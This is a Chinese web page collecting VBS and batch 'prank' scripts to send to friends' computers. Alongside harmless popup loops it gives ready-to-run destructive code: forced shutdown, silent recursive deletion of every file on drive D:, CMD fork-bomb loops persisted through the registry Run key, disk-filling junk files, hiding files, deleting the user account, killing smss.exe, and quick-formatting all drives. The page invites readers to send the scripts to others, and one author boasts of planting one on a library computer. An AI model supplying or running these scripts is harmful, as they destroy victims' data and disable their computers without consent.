本文目录一览：

• 1、有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？
• 2、bat整人代码
• 3、恶搞程序代码

有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？

vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：

一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

二、打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---------------------------------------------------------------------------

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

五、不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)

WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下") WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下") WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下") WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下") WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下") WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下") WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下") WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下") WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下") WScript.Echo("还剩15下")

WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

-----------------------------------------------------------------

为了友谊的小船，请谨慎使用

bat整人代码

注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！

@echo off

echo 开始

:2

start cmd.exe

goto 2

就是主要是利用goto 来跳转到:2

循环跳转...就是循环用start 打开CMD ^^

友情提示...死机不负责.......

也可以利用

别的

@echo off

net user

%0

这里的核心是%0 他表示本身 就是循环运行本身^^

这里循环运行net user

上面主要把别人电脑整死机

下面我们利用修改注册表来恶整

常见修改注册表

就是开机加载 这世界人都知道

@echo off

echo wahaha

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)

这里可以添加一个开始我们弄的哪个strat 这个

@echo off

echo echo 开始 c:\windows\cnhacker.bat

echo :2 c:\windows\cnhacker.bat

echo start cmd.exe c:\windows\cnhacker.bat

echo goto 2c:\windows\cnhacker.bat

这里自动在windows下生成cnhacker.bat

然后利用上面开机加载 写起...就OK拉

修改IE栏

reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f

屏蔽修改主页那里

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f

简单硬盘炸弹(多生成垃圾文章)

echo off

set a=0

:22

set /a a=%a%+1

echo laji C:\%a%.txt

goto 22

如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件

修改不电脑显示

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f

把00000000 改成00000001 就可以恢复

这段大家不要实验......

就是利用%username%

net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)

造成你电脑上面ADMINISTRATOR桌面资料丢失

net user %username% /add

NET LOCALGROUP ADMINISTRATORS %username% /add

强行结束smss.exe 进程

ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)

shutdown -a (放弃关闭计算机)

危险不要实验

迅速格式所有盘符

for /f %%i in (d:,e:f:g:h:) do format /q /y %%i

这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行

这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~

颜色属性由两个十六进制数字指定 --

第一个为背景，第二个则为前景。

每个数字可以为以下任何值之一:

例如color 0d 它就是黑色背景 淡紫色字体

0 = 黑色 8 = 灰色

1 = 蓝色 9 = 淡蓝色

2 = 绿色 A = 淡绿色

3 = 湖蓝色 B = 淡浅绿色

4 = 红色 C = 淡红色

5 = 紫色 D = 淡紫色

6 = 黄色 E = 淡黄色

7 = 白色 F = 亮白色

恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。

if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

加分哦